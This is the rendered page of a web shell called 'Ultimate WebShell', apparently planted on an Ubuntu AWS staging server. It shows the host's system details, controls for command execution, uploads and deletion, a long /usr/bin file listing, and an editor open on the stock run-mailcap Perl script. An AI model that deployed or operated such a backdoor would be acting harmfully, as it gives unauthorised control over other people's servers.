WebShell Manager
Linux Stag-Enterprise-Staging-20-04 5.11.0-1019-aws #20~20.04.1-Ubuntu SMP Tue Sep 21 10:40:39 UTC 2021 x86_64
Apache
Server: 172.31.9.152
Your IP: 216.73.216.236
System Info
HOME
snap
core20
2769
usr
bin
Command Execution
Execute
File Upload
Upload
New Folder
New File
Name
Type
Size
Permissions
Modified
Actions
..
Parent
-
drwxr-xr-x
2026-02-11 00:21:13
-
[
File
58.34 KB
0755
2019-09-05 10:38:40
aa-enabled
File
30.52 KB
0755
2024-03-06 18:40:00
aa-exec
File
34.52 KB
0755
2024-03-06 18:40:00
addpart
File
30.23 KB
0755
2024-04-09 15:34:13
arch
File
38.37 KB
0755
2019-09-05 10:38:40
awk
File
158.74 KB
0755
2020-02-16 19:41:09
b2sum
File
58.37 KB
0755
2019-09-05 10:38:40
base32
File
42.34 KB
0755
2019-09-05 10:38:40
base64
File
42.34 KB
0755
2019-09-05 10:38:40
basename
File
38.34 KB
0755
2019-09-05 10:38:40
bash
File
1.13 MB
0755
2022-04-18 09:14:46
bashbug
File
6.63 KB
0755
2022-04-18 09:14:46
bootctl
File
62.34 KB
0755
2025-06-02 20:05:57
bunzip2
File
38.23 KB
0755
2019-09-05 15:05:14
busctl
File
86.34 KB
0755
2025-06-02 20:05:57
bzcat
File
38.23 KB
0755
2019-09-05 15:05:14
bzcmp
File
2.17 KB
0755
2019-09-05 15:05:14
bzdiff
File
2.17 KB
0755
2019-09-05 15:05:14
bzegrep
File
3.69 KB
0755
2019-09-05 15:05:14
bzexe
File
4.76 KB
0755
2019-09-04 13:22:31
bzfgrep
File
3.69 KB
0755
2019-09-05 15:05:14
bzgrep
File
3.69 KB
0755
2019-09-05 15:05:14
bzip2
File
38.23 KB
0755
2019-09-05 15:05:14
bzip2recover
File
18.15 KB
0755
2019-09-05 15:05:14
bzless
File
1.27 KB
0755
2019-09-05 15:05:14
bzmore
File
1.27 KB
0755
2019-09-05 15:05:14
c_rehash
File
6.65 KB
0755
2026-01-14 18:53:45
captoinfo
File
90.41 KB
0755
2023-05-16 18:47:48
cat
File
42.4 KB
0755
2019-09-05 10:38:40
catchsegv
File
3.26 KB
0755
2026-01-30 08:05:14
cautious-launcher
File
853 B
0755
2019-10-18 23:05:50
chage
File
82.53 KB
2755
2024-02-06 12:49:54
chardet3
File
389 B
0755
2019-12-17 12:31:30
chardetect3
File
389 B
0755
2019-12-17 12:31:30
chattr
File
14.31 KB
0755
2023-10-09 01:56:01
chcon
File
70.34 KB
0755
2019-09-05 10:38:40
chfn
File
83.07 KB
4755
2024-02-06 12:49:54
chgrp
File
70.34 KB
0755
2019-09-05 10:38:40
chmod
File
62.37 KB
0755
2019-09-05 10:38:40
choom
File
50.23 KB
0755
2024-04-09 15:34:13
chown
File
70.34 KB
0755
2019-09-05 10:38:40
chrt
File
38.23 KB
0755
2024-04-09 15:34:13
chsh
File
51.8 KB
4755
2024-02-06 12:49:54
cksum
File
38.34 KB
0755
2019-09-05 10:38:40
clear
File
14.31 KB
0755
2023-05-16 18:47:48
clear_console
File
14.23 KB
0755
2022-04-18 09:14:46
cloud-id
File
396 B
0755
2025-06-25 15:09:01
cloud-init
File
400 B
0755
2025-06-25 15:09:01
cloud-init-per
File
2.06 KB
0755
2025-01-15 15:24:11
cmp
File
50.09 KB
0755
2019-04-08 12:04:00
comm
File
42.37 KB
0755
2019-09-05 10:38:40
compose
File
18.05 KB
0755
2019-10-18 23:05:50
console-conf
File
406 B
0755
2020-04-20 14:31:39
core-sshd-host-keygen
File
1.49 KB
0755
2026-02-11 00:16:01
cp
File
150.37 KB
0755
2019-09-05 10:38:40
csplit
File
54.37 KB
0755
2019-09-05 10:38:40
ctstat
File
30.51 KB
0755
2020-02-13 17:21:59
cut
File
46.37 KB
0755
2019-09-05 10:38:40
cvtsudoers
File
266.7 KB
0755
2025-06-25 20:10:55
dash
File
126.77 KB
0755
2019-07-18 18:15:27
date
File
106.37 KB
0755
2019-09-05 10:38:40
dbus-cleanup-sockets
File
14.14 KB
0755
2022-10-25 13:09:26
dbus-daemon
File
243.2 KB
0755
2022-10-25 13:09:26
dbus-monitor
File
30.14 KB
0755
2022-10-25 13:09:26
dbus-run-session
File
14.14 KB
0755
2022-10-25 13:09:26
dbus-send
File
30.14 KB
0755
2022-10-25 13:09:26
dbus-update-activation-environment
File
14.14 KB
0755
2022-10-25 13:09:26
dbus-uuidgen
File
14.14 KB
0755
2022-10-25 13:09:26
dd
File
78.38 KB
0755
2019-09-05 10:38:40
deb-systemd-helper
File
20.83 KB
0755
2019-06-21 18:56:55
deb-systemd-invoke
File
4.33 KB
0755
2019-06-21 18:56:55
delpart
File
30.23 KB
0755
2024-04-09 15:34:13
df
File
90.95 KB
0755
2019-09-05 10:38:40
dh_bash-completion
File
2.39 KB
0755
2020-01-26 03:42:18
diff
File
214.34 KB
0755
2019-04-08 12:04:00
diff3
File
66.21 KB
0755
2019-04-08 12:04:00
dir
File
138.81 KB
0755
2019-09-05 10:38:40
dircolors
File
46.34 KB
0755
2019-09-05 10:38:40
dirname
File
38.34 KB
0755
2019-09-05 10:38:40
dmesg
File
82.46 KB
0755
2024-04-09 15:34:13
dnsdomainname
File
26.23 KB
0755
2019-11-07 11:31:36
domainname
File
26.23 KB
0755
2019-11-07 11:31:36
dpkg-deb
File
174.54 KB
0755
2022-05-25 11:14:20
du
File
106.37 KB
0755
2019-09-05 10:38:40
ec2metadata
File
7.12 KB
0755
2020-02-25 20:41:21
echo
File
38.34 KB
0755
2019-09-05 10:38:40
edit
File
18.05 KB
0755
2019-10-18 23:05:50
editor
File
1.29 MB
0755
2025-04-02 16:39:51
egrep
File
28 B
0755
2020-01-29 09:31:53
env
File
42.34 KB
0755
2019-09-05 10:38:40
ex
File
1.29 MB
0755
2025-04-02 16:39:51
expand
File
42.37 KB
0755
2019-09-05 10:38:40
expiry
File
30.58 KB
2755
2024-02-06 12:49:54
expr
File
54.34 KB
0755
2019-09-05 10:38:40
factor
File
78.37 KB
0755
2019-09-05 10:38:40
faillog
File
22.59 KB
0755
2024-02-06 12:49:54
fallocate
File
34.23 KB
0755
2024-04-09 15:34:13
false
File
38.34 KB
0755
2019-09-05 10:38:40
fgrep
File
28 B
0755
2020-01-29 09:31:53
file
File
26.47 KB
0755
2020-01-16 20:39:11
finalrd
File
2.1 KB
0755
2020-09-10 14:53:09
fincore
File
34.27 KB
0755
2024-04-09 15:34:13
find
File
312.66 KB
0755
2020-02-18 01:05:59
findmnt
File
71.41 KB
0755
2024-04-09 15:34:13
flock
File
34.3 KB
0755
2024-04-09 15:34:13
fmt
File
46.34 KB
0755
2019-09-05 10:38:40
fold
File
42.34 KB
0755
2019-09-05 10:38:40
free
File
26.23 KB
0755
2023-10-31 11:35:56
gdbserver
File
509.55 KB
0755
2024-06-13 02:43:41
getconf
File
34.29 KB
0755
2026-01-30 08:05:14
getent
File
38.65 KB
0755
2026-01-30 08:05:14
getopt
File
22.23 KB
0755
2024-04-09 15:34:13
gpasswd
File
86.39 KB
4755
2024-02-06 12:49:54
gpgv
File
447.15 KB
0755
2026-01-05 22:19:03
grep
File
194.47 KB
0755
2020-01-29 09:31:53
groups
File
38.34 KB
0755
2019-09-05 10:38:40
growpart
File
23.95 KB
0755
2020-02-25 20:41:21
gunzip
File
2.29 KB
0755
2022-04-08 11:05:45
gzexe
File
6.3 KB
0755
2022-04-08 11:05:45
gzip
File
95.21 KB
0755
2022-04-08 11:05:45
head
File
46.37 KB
0755
2019-09-05 10:38:40
helpztags
File
2.46 KB
0755
2024-09-04 03:09:54
hostid
File
38.34 KB
0755
2019-09-05 10:38:40
hostname
File
26.23 KB
0755
2019-11-07 11:31:36
hostnamectl
File
26.22 KB
0755
2025-06-02 20:05:57
i386
File
26.5 KB
0755
2024-04-09 15:34:13
iconv
File
66.41 KB
0755
2026-01-30 08:05:14
id
File
46.37 KB
0755
2019-09-05 10:38:40
infocmp
File
62.38 KB
0755
2023-05-16 18:47:48
infotocap
File
90.41 KB
0755
2023-05-16 18:47:48
install
File
154.41 KB
0755
2019-09-05 10:38:40
ionice
File
30.23 KB
0755
2024-04-09 15:34:13
ip
File
597.62 KB
0755
2020-02-13 17:21:59
ipcmk
File
34.3 KB
0755
2024-04-09 15:34:13
ipcrm
File
34.23 KB
0755
2024-04-09 15:34:13
ipcs
File
66.23 KB
0755
2024-04-09 15:34:13
iptables-xml
File
96.97 KB
0755
2023-05-09 18:39:57
ischroot
File
14.2 KB
0755
2019-12-07 02:13:44
join
File
54.37 KB
0755
2019-09-05 10:38:40
journalctl
File
78.24 KB
0755
2025-06-02 20:05:57
jsondiff
File
1004 B
0755
2019-09-05 13:01:23
jsonpatch
File
3.58 KB
0755
2019-09-05 13:01:23
jsonpatch-jsondiff
File
1004 B
0755
2019-09-05 13:01:23
jsonpointer
File
1.79 KB
0755
2020-01-24 03:25:15
jsonschema
File
397 B
0755
2020-01-23 18:44:38
kernel-install
File
5.07 KB
0755
2020-04-01 17:23:42
kill
File
30.23 KB
0755
2023-10-31 11:35:56
kmod
File
170.34 KB
0755
2022-01-28 14:49:50
kmodsign
File
22.29 KB
0755
2022-03-10 19:41:04
last
File
50.23 KB
0755
2024-04-09 15:34:13
lastb
File
50.23 KB
0755
2024-04-09 15:34:13
lastlog
File
31.66 KB
0755
2024-02-06 12:49:54
lcf
File
7.6 KB
0755
2018-12-14 08:51:14
ldd
File
5.31 KB
0755
2026-01-30 08:05:14
less
File
175.84 KB
0755
2024-04-28 11:42:44
lessecho
File
14.31 KB
0755
2024-04-28 11:42:44
lessfile
File
8.36 KB
0755
2019-09-03 04:41:52
lesskey
File
23.72 KB
0755
2024-04-28 11:42:44
lesspipe
File
8.36 KB
0755
2019-09-03 04:41:52
link
File
38.34 KB
0755
2019-09-05 10:38:40
linux32
File
26.5 KB
0755
2024-04-09 15:34:13
linux64
File
26.5 KB
0755
2024-04-09 15:34:13
ln
File
74.38 KB
0755
2019-09-05 10:38:40
lnstat
File
30.51 KB
0755
2020-02-13 17:21:59
locale
File
57.56 KB
0755
2026-01-30 08:05:14
locale-check
File
14.16 KB
0755
2024-01-02 17:12:43
localectl
File
26.22 KB
0755
2025-06-02 20:05:57
localedef
File
326.96 KB
0755
2026-01-30 08:05:14
logger
File
50.82 KB
0755
2024-04-09 15:34:13
login
File
55.77 KB
0755
2024-02-06 12:49:54
loginctl
File
58.34 KB
0755
2025-06-02 20:05:57
logname
File
38.34 KB
0755
2019-09-05 10:38:40
ls
File
138.81 KB
0755
2019-09-05 10:38:40
lsattr
File
14.31 KB
0755
2023-10-09 01:56:01
lsblk
File
130.23 KB
0755
2024-04-09 15:34:13
lscpu
File
98.23 KB
0755
2024-04-09 15:34:13
lsipc
File
94.23 KB
0755
2024-04-09 15:34:13
lslocks
File
38.55 KB
0755
2024-04-09 15:34:13
lslogins
File
66.23 KB
0755
2024-04-09 15:34:13
lsmem
File
66.23 KB
0755
2024-04-09 15:34:13
lsmod
File
170.34 KB
0755
2022-01-28 14:49:50
lsns
File
50.23 KB
0755
2024-04-09 15:34:13
man
File
128 B
0755
2026-02-11 00:16:01
mawk
File
158.74 KB
0755
2020-02-16 19:41:09
mcookie
File
34.3 KB
0755
2024-04-09 15:34:13
md5sum
File
46.37 KB
0755
2019-09-05 10:38:40
md5sum.textutils
File
46.37 KB
0755
2019-09-05 10:38:40
mesg
File
14.23 KB
0755
2024-04-09 15:34:13
miniterm
File
34.28 KB
0755
2020-02-03 16:29:07
mkdir
File
86.34 KB
0755
2019-09-05 10:38:40
mkfifo
File
66.34 KB
0755
2019-09-05 10:38:40
mknod
File
70.34 KB
0755
2019-09-05 10:38:40
mksquashfs
File
205.96 KB
0755
2021-10-12 00:36:41
mkswapfile
File
865 B
0755
2026-02-11 00:16:01
mktemp
File
46.34 KB
0755
2019-09-05 10:38:40
more
File
42.15 KB
0755
2024-04-09 15:34:13
mount
File
54.23 KB
4755
2024-04-09 15:34:13
mountpoint
File
14.23 KB
0755
2024-04-09 15:34:13
mv
File
146.38 KB
0755
2019-09-05 10:38:40
namei
File
34.23 KB
0755
2024-04-09 15:34:13
nawk
File
158.74 KB
0755
2020-02-16 19:41:09
nc
File
42.64 KB
0755
2020-03-09 18:50:15
nc.openbsd
File
42.64 KB
0755
2020-03-09 18:50:15
netcat
File
42.64 KB
0755
2020-03-09 18:50:15
networkctl
File
74.23 KB
0755
2025-06-02 20:05:57
newgrp
File
43.73 KB
4755
2024-02-06 12:49:54
nice
File
42.34 KB
0755
2019-09-05 10:38:40
nisdomainname
File
26.23 KB
0755
2019-11-07 11:31:36
nl
File
42.43 KB
0755
2019-09-05 10:38:40
nohup
File
42.34 KB
0755
2019-09-05 10:38:40
nproc
File
42.34 KB
0755
2019-09-05 10:38:40
nsenter
File
34.43 KB
0755
2024-04-09 15:34:13
nstat
File
78.23 KB
0755
2020-02-13 17:21:59
numfmt
File
66.4 KB
0755
2019-09-05 10:38:40
od
File
70.37 KB
0755
2019-09-05 10:38:40
openssl
File
735.68 KB
0755
2026-01-14 18:53:45
p11-kit
File
34.39 KB
0755
2021-01-04 19:04:11
p11tool
File
359.38 KB
0755
2025-09-08 16:05:22
pager
File
175.84 KB
0755
2024-04-28 11:42:44
partx
File
118.23 KB
0755
2024-04-09 15:34:13
passwd
File
66.61 KB
4755
2024-02-06 12:49:54
paste
File
42.37 KB
0755
2019-09-05 10:38:40
pathchk
File
38.34 KB
0755
2019-09-05 10:38:40
pdb3
File
61.27 KB
0755
2026-01-27 20:16:27
pdb3.8
File
61.27 KB
0755
2026-01-27 20:16:27
perl
File
3.32 MB
0755
2023-11-23 15:02:19
perl5.30.0
File
3.32 MB
0755
2023-11-23 15:02:19
pgrep
File
30.24 KB
0755
2023-10-31 11:35:56
pidof
File
26.38 KB
0755
2020-02-13 18:38:21
ping
File
71.07 KB
0755
2022-09-13 19:06:15
ping4
File
71.07 KB
0755
2022-09-13 19:06:15
ping6
File
71.07 KB
0755
2022-09-13 19:06:15
pinky
File
42.37 KB
0755
2019-09-05 10:38:40
pkcs11-tool
File
152.77 KB
0755
2025-04-09 03:19:18
pkill
File
30.24 KB
0755
2023-10-31 11:35:56
pldd
File
22.37 KB
0755
2026-01-30 08:05:14
pmap
File
34.24 KB
0755
2023-10-31 11:35:56
pr
File
74.43 KB
0755
2019-09-05 10:38:40
print
File
18.05 KB
0755
2019-10-18 23:05:50
printenv
File
38.34 KB
0755
2019-09-05 10:38:40
printf
File
58.34 KB
0755
2019-09-05 10:38:40
prlimit
File
38.74 KB
0755
2024-04-09 15:34:13
ps
File
134.46 KB
0755
2023-10-31 11:35:56
ptx
File
78.4 KB
0755
2019-09-05 10:38:40
pwd
File
42.34 KB
0755
2019-09-05 10:38:40
pwdx
File
14.23 KB
0755
2023-10-31 11:35:56
py3clean
File
7.63 KB
0755
2020-03-13 12:20:20
py3compile
File
11.84 KB
0755
2020-03-13 12:20:20
py3versions
File
11.44 KB
0755
2020-03-13 12:20:20
pydoc3
File
79 B
0755
2026-01-27 20:16:27
pydoc3.8
File
79 B
0755
2026-01-27 20:16:27
pygettext3
File
21.03 KB
0755
2026-01-27 20:16:27
pygettext3.8
File
21.03 KB
0755
2026-01-27 20:16:27
pyjwt3
File
372 B
0755
2022-07-19 05:41:38
python3
File
5.23 MB
0755
2026-01-27 20:16:27
python3.8
File
5.23 MB
0755
2026-01-27 20:16:27
rbash
File
1.13 MB
0755
2022-04-18 09:14:46
rcp
File
114.3 KB
0755
2025-04-11 12:16:08
rdma
File
130.23 KB
0755
2020-02-13 17:21:59
readlink
File
50.34 KB
0755
2019-09-05 10:38:40
realpath
File
50.37 KB
0755
2019-09-05 10:38:40
rename.ul
File
22.23 KB
0755
2024-04-09 15:34:13
renice
File
14.23 KB
0755
2024-04-09 15:34:13
reset
File
30.31 KB
0755
2023-05-16 18:47:48
resizepart
File
62.23 KB
0755
2024-04-09 15:34:13
resolvectl
File
126.38 KB
0755
2025-06-02 20:05:57
rev
File
14.23 KB
0755
2024-04-09 15:34:13
rgrep
File
30 B
0755
2020-01-16 15:27:20
rlogin
File
774.95 KB
0755
2025-04-11 12:16:08
rm
File
70.37 KB
0755
2019-09-05 10:38:40
rmdir
File
46.34 KB
0755
2019-09-05 10:38:40
routef
File
208 B
0755
2020-02-13 17:21:59
routel
File
1.62 KB
0755
2020-02-13 17:21:59
rsh
File
774.95 KB
0755
2025-04-11 12:16:08
rtstat
File
30.51 KB
0755
2020-02-13 17:21:59
run-mailcap
File
18.05 KB
0755
2019-10-18 23:05:50
run-parts
File
26.51 KB
0755
2019-12-07 02:13:44
runcon
File
38.34 KB
0755
2019-09-05 10:38:40
rview
File
1.29 MB
0755
2025-04-02 16:39:51
savelog
File
10.24 KB
0755
2019-12-07 02:13:44
sbattach
File
58.48 KB
0755
2022-03-10 19:41:04
sbkeysync
File
66.7 KB
0755
2022-03-10 19:41:04
sbsiglist
File
58.55 KB
0755
2022-03-10 19:41:04
sbsign
File
58.55 KB
0755
2022-03-10 19:41:04
sbvarsign
File
66.61 KB
0755
2022-03-10 19:41:04
sbverify
File
62.48 KB
0755
2022-03-10 19:41:04
scp
File
114.3 KB
0755
2025-04-11 12:16:08
script
File
54.23 KB
0755
2024-04-09 15:34:13
scriptreplay
File
30.23 KB
0755
2024-04-09 15:34:13
sdiff
File
50.09 KB
0755
2019-04-08 12:04:00
sed
File
118.45 KB
0755
2018-12-22 14:24:04
see
File
18.05 KB
0755
2019-10-18 23:05:50
select-editor
File
2.38 KB
0755
2019-11-17 12:21:22
sensible-browser
File
1.2 KB
0755
2019-11-17 12:21:22
sensible-editor
File
1.14 KB
0755
2019-11-17 12:21:22
sensible-pager
File
452 B
0755
2019-11-17 12:21:22
seq
File
50.34 KB
0755
2019-09-05 10:38:40
setarch
File
26.5 KB
0755
2024-04-09 15:34:13
setpriv
File
46.23 KB
0755
2024-04-09 15:34:13
setsid
File
14.23 KB
0755
2024-04-09 15:34:13
setterm
File
46.23 KB
0755
2024-04-09 15:34:13
sftp
File
166.51 KB
0755
2025-04-11 12:16:08
sg
File
43.73 KB
4755
2024-02-06 12:49:54
sh
File
126.77 KB
0755
2019-07-18 18:15:27
sha1sum
File
50.37 KB
0755
2019-09-05 10:38:40
sha224sum
File
58.37 KB
0755
2019-09-05 10:38:40
sha256sum
File
58.37 KB
0755
2019-09-05 10:38:40
sha384sum
File
66.37 KB
0755
2019-09-05 10:38:40
sha512sum
File
66.37 KB
0755
2019-09-05 10:38:40
shred
File
62.37 KB
0755
2019-09-05 10:38:40
shuf
File
58.34 KB
0755
2019-09-05 10:38:40
skill
File
30.23 KB
0755
2023-10-31 11:35:56
slabtop
File
22.23 KB
0755
2023-10-31 11:35:56
sleep
File
38.34 KB
0755
2019-09-05 10:38:40
slogin
File
774.95 KB
0755
2025-04-11 12:16:08
snap
File
22.43 MB
0755
2026-06-29 12:01:19
snapctl
File
0 B
0
1970-01-01 00:00:00
snice
File
30.23 KB
0755
2023-10-31 11:35:56
sort
File
114.63 KB
0755
2019-09-05 10:38:40
split
File
58.77 KB
0755
2019-09-05 10:38:40
ss
File
164.84 KB
0755
2020-02-13 17:21:59
ssh
File
774.95 KB
0755
2025-04-11 12:16:08
ssh-add
File
362.28 KB
0755
2025-04-11 12:16:08
ssh-agent
File
342.29 KB
2755
2025-04-11 12:16:08
ssh-argv0
File
1.42 KB
0755
2023-04-03 22:47:13
ssh-copy-id
File
10.41 KB
0755
2020-02-14 00:40:54
ssh-keygen
File
466.3 KB
0755
2025-04-11 12:16:08
ssh-keyscan
File
454.3 KB
0755
2025-04-11 12:16:08
stat
File
86.37 KB
0755
2019-09-05 10:38:40
stdbuf
File
50.34 KB
0755
2019-09-05 10:38:40
stty
File
82.37 KB
0755
2019-09-05 10:38:40
su
File
66.23 KB
4755
2024-04-09 15:34:13
sudo
File
162.16 KB
4755
2025-06-25 20:10:55
sudoedit
File
162.16 KB
4755
2025-06-25 20:10:55
sudoreplay
File
63 KB
0755
2025-06-25 20:10:55
sum
File
46.34 KB
0755
2019-09-05 10:38:40
sync
File
38.34 KB
0755
2019-09-05 10:38:40
systemctl
File
973.23 KB
0755
2025-06-02 20:05:57
systemd
File
1.55 MB
0755
2023-03-02 12:58:02
systemd-analyze
File
1.51 MB
0755
2025-06-02 20:05:57
systemd-ask-password
File
14.34 KB
0755
2025-06-02 20:05:57
systemd-cat
File
18.23 KB
0755
2025-06-02 20:05:57
systemd-cgls
File
22.33 KB
0755
2025-06-02 20:05:57
systemd-cgtop
File
38.24 KB
0755
2025-06-02 20:05:57
systemd-delta
File
26.22 KB
0755
2025-06-02 20:05:57
systemd-detect-virt
File
18.22 KB
0755
2025-06-02 20:05:57
systemd-escape
File
22.22 KB
0755
2025-06-02 20:05:57
systemd-hwdb
File
106.52 KB
0755
2025-06-02 20:05:57
systemd-id128
File
22.22 KB
0755
2025-06-02 20:05:57
systemd-inhibit
File
22.24 KB
0755
2025-06-02 20:05:57
systemd-machine-id-setup
File
26.32 KB
0755
2025-06-02 20:05:57
systemd-mount
File
50.45 KB
0755
2025-06-02 20:05:57
systemd-notify
File
18.23 KB
0755
2025-06-02 20:05:57
systemd-path
File
18.22 KB
0755
2025-06-02 20:05:57
systemd-resolve
File
126.38 KB
0755
2025-06-02 20:05:57
systemd-run
File
58.42 KB
0755
2025-06-02 20:05:57
systemd-socket-activate
File
26.22 KB
0755
2025-06-02 20:05:57
systemd-stdio-bridge
File
22.23 KB
0755
2025-06-02 20:05:57
systemd-sysusers
File
54.52 KB
0755
2025-06-02 20:05:57
systemd-tmpfiles
File
86.41 KB
0755
2025-06-02 20:05:57
systemd-tty-ask-password-agent
File
30.22 KB
0755
2025-06-02 20:05:57
systemd-umount
File
50.45 KB
0755
2025-06-02 20:05:57
tabs
File
18.3 KB
0755
2023-05-16 18:47:48
tac
File
42.34 KB
0755
2019-09-05 10:38:40
tail
File
70.4 KB
0755
2019-09-05 10:38:40
tar
File
437.61 KB
0755
2023-12-05 05:16:50
taskset
File
34.23 KB
0755
2024-04-09 15:34:13
tee
File
42.37 KB
0755
2019-09-05 10:38:40
tempfile
File
14.02 KB
0755
2019-12-07 02:13:44
test
File
54.34 KB
0755
2019-09-05 10:38:40
tic
File
90.41 KB
0755
2023-05-16 18:47:48
timedatectl
File
815 B
0755
2026-02-11 00:19:04
timedatectl.real
File
46.22 KB
0755
2025-06-02 20:05:57
timeout
File
42.77 KB
0755
2019-09-05 10:38:40
tload
File
22.24 KB
0755
2023-10-31 11:35:56
toe
File
22.3 KB
0755
2023-05-16 18:47:48
top
File
126.05 KB
0755
2023-10-31 11:35:56
touch
File
98.37 KB
0755
2019-09-05 10:38:40
tput
File
26.34 KB
0755
2023-05-16 18:47:48
tr
File
50.34 KB
0755
2019-09-05 10:38:40
true
File
38.34 KB
0755
2019-09-05 10:38:40
truncate
File
42.34 KB
0755
2019-09-05 10:38:40
tset
File
30.31 KB
0755
2023-05-16 18:47:48
tsort
File
42.34 KB
0755
2019-09-05 10:38:40
tty
File
38.34 KB
0755
2019-09-05 10:38:40
tzselect
File
15.02 KB
0755
2026-01-30 08:05:14
ucf
File
39.73 KB
0755
2018-12-14 08:51:14
ucfq
File
18.91 KB
0755
2018-12-14 08:51:14
ucfr
File
10.47 KB
0755
2018-12-14 08:51:14
udevadm
File
931.2 KB
0755
2025-06-02 20:05:57
umount
File
38.23 KB
4755
2024-04-09 15:34:13
uname
File
38.37 KB
0755
2019-09-05 10:38:40
uncompress
File
2.29 KB
0755
2022-04-08 11:05:45
unexpand
File
42.37 KB
0755
2019-09-05 10:38:40
uniq
File
50.37 KB
0755
2019-09-05 10:38:40
unlink
File
38.34 KB
0755
2019-09-05 10:38:40
unshare
File
42.43 KB
0755
2024-04-09 15:34:13
unsquashfs
File
112.12 KB
0755
2021-10-12 00:36:41
update-alternatives
File
54.41 KB
0755
2022-05-25 11:14:20
uptime
File
14.23 KB
0755
2023-10-31 11:35:56
users
File
38.34 KB
0755
2019-09-05 10:38:40
utmpdump
File
30.23 KB
0755
2024-04-09 15:34:13
vcs-run
File
6.75 KB
0755
2020-02-25 20:41:21
vdir
File
138.81 KB
0755
2019-09-05 10:38:40
vi
File
1.29 MB
0755
2025-04-02 16:39:51
view
File
1.29 MB
0755
2025-04-02 16:39:51
vim.tiny
File
1.29 MB
0755
2025-04-02 16:39:51
vmstat
File
38.25 KB
0755
2023-10-31 11:35:56
w
File
22.23 KB
0755
2023-10-31 11:35:56
w.procps
File
22.23 KB
0755
2023-10-31 11:35:56
wall
File
34.23 KB
0755
2024-04-09 15:34:13
watch
File
26.57 KB
0755
2023-10-31 11:35:56
wc
File
46.34 KB
0755
2019-09-05 10:38:40
wdctl
File
34.23 KB
0755
2024-04-09 15:34:13
whereis
File
34.66 KB
0755
2024-04-09 15:34:13
which
File
946 B
0755
2019-12-07 02:13:44
who
File
58.37 KB
0755
2019-09-05 10:38:40
whoami
File
38.34 KB
0755
2019-09-05 10:38:40
wpa_passphrase
File
82.32 KB
0755
2025-02-24 20:14:55
x86_64
File
26.5 KB
0755
2024-04-09 15:34:13
xargs
File
74.37 KB
0755
2020-02-18 01:05:59
xdg-open
File
38 B
0755
2026-02-11 00:19:05
xdg-settings
File
1.68 KB
0755
2026-02-11 00:19:05
xxd
File
18.27 KB
0755
2025-04-02 16:39:51
yes
File
38.34 KB
0755
2019-09-05 10:38:40
ypdomainname
File
26.23 KB
0755
2019-11-07 11:31:36
zcat
File
1.94 KB
0755
2022-04-08 11:05:45
zcmp
File
1.64 KB
0755
2022-04-08 11:05:45
zdiff
File
5.76 KB
0755
2022-04-08 11:05:45
zdump
File
26.21 KB
0755
2026-01-30 08:05:14
zegrep
File
29 B
0755
2022-04-08 11:05:45
zfgrep
File
29 B
0755
2022-04-08 11:05:45
zforce
File
2.03 KB
0755
2022-04-08 11:05:45
zgrep
File
7.91 KB
0755
2022-04-08 11:05:45
zless
File
2.15 KB
0755
2022-04-08 11:05:45
zmore
File
1.8 KB
0755
2022-04-08 11:05:45
znew
File
4.47 KB
0755
2022-04-08 11:05:45
0
items selected
Choose Action...
Delete Selected
Zip Selected
Unzip Selected
Execute Action
Clear Selection
© Ultimate WebShell | Auto Bypass Enabled
Create New Folder
Create New File
Edit File: edit
#! /usr/bin/perl ############################################################################### # # Run-Mailcap: Run a program specified in the mailcap file based on a mime # type. # # Written by Brian White <bcwhite@pobox.com> # This file has been placed in the public domain (the only true "free"). # ############################################################################### use Encode qw(decode); use I18N::Langinfo qw(langinfo CODESET); use File::Spec; $debug=($ENV{RUN_MAILCAP_DEBUG} || 0); $norun=0; $nopager=0; $etcmimetyp="/etc/mime.types"; $shrmimetyp="/usr/share/etc/mime.types"; $locmimetyp="/usr/local/etc/mime.types"; $usrmimetyp="$ENV{HOME}/.mime.types"; $xtermprgrm="/usr/bin/x-terminal-emulator"; # xterm? $defmimetyp="application/octet-stream"; $quotedsemi=chr(255); $quotedprct=chr(254); $retcode=0; sub Usage { my($error) = @_; print STDERR $error,"\n\n" if $error; print STDERR "Use: $0 <--action=VAL> [--debug] [MIME-TYPE:[ENCODING:]]FILE [...]\n\n"; print STDERR "Options:\n"; print STDERR " action specify what action to do on these files (default=view)\n"; print STDERR " debug be verbose about what's going on\n"; print STDERR " nopager ignore any \"copiousoutput\" directives and never use a \"pager\"\n"; print STDERR " norun just print but don't execute the command (useful with --debug)\n"; print STDERR "\n"; print STDERR "Mime-Type:\n"; print STDERR " any standard mime type designation in the form <class>/<subtype> -- if\n"; print STDERR " not specified, it will be determined from the filename extension\n\n"; print STDERR "Encoding:\n"; print STDERR " how the file (and type) has been encoded (only \"gzip\", \"bzip2,\"\n"; print STDERR " \"xz\" and \"compress\" are supported) -- if not specified, it will be\n"; print STDERR " determined from the filename extension\n\n"; exit ($error ? 1 : 0); } sub EncodingForFile { my($file) = @_; my $encoding; if ($file =~ m/\.gz$/) { $encoding = "gzip"; } if ($file =~ m/\.bz2$/) { $encoding = "bzip2"; } if ($file =~ m/\.xz$/) { $encoding = "xz"; } if ($file =~ m/\.Z$/) { $encoding = "compress"; } print STDERR " - file \"$file\" has encoding \"$encoding\"\n" if $debug && $encoding; return $encoding; } sub ReadMimetypes { my($file) = @_; print STDERR " - Reading mime.types file \"$file\"...\n" if $debug; unless (open(MIMETYPES,'<',$file)) { # Quietly ignore an unreadable file, perhaps non-existent, perhaps # permission denied. print STDERR " could not read \"$file\" -- $!\n" if $debug; return; } while (<MIMETYPES>) { chomp; s/\#.*$//; next if (m/^\s*$/); $_=lc($_); my($type,@exts) = split; foreach (@exts) { $mimetypes{$_} = $type unless exists $mimetypes{$_}; } } close MIMETYPES; } sub ReadMailcap { my($file) = @_; my $line = ""; print STDERR " - Reading mailcap file \"$file\"...\n" if $debug; unless (open(MAILCAP,'<',$file)) { # Quietly ignore an unreadable file, perhaps non-existent, perhaps # permission denied. print STDERR " could not read \"$file\" -- $!\n" if $debug; return; } while (<MAILCAP>) { chomp; s/^\s+// if $line; $line .= $_; next unless $line; if ($line =~ m/^\s*\#/) { $line = ""; next; } if ($line =~ m/\\$/) { $line =~ s/\\$//; } else { $line =~ s/\\;/$quotedsemi/go; $line =~ s/\\%/$quotedprct/go; push @mailcap,$line; $line = ""; } } close MAILCAP; } sub TempFile { my($template) = @_; my($cmd,$head,$tail,$tmpfile); $template = "" unless (defined $template); ($head,$tail) = split(/%s/,$template,2); # $tmpfile = POSIX::tmpnam($name); # unlink($tmpfile); $cmd = "tempfile --mode=600"; $cmd .= " --prefix $head" if $head; $cmd .= " --suffix $tail" if $tail; $tmpfile = `$cmd`; chomp($tmpfile); # $tmpfile = $ENV{TMPDIR}; # $tmpfile = "/tmp" unless $tmpfile; # 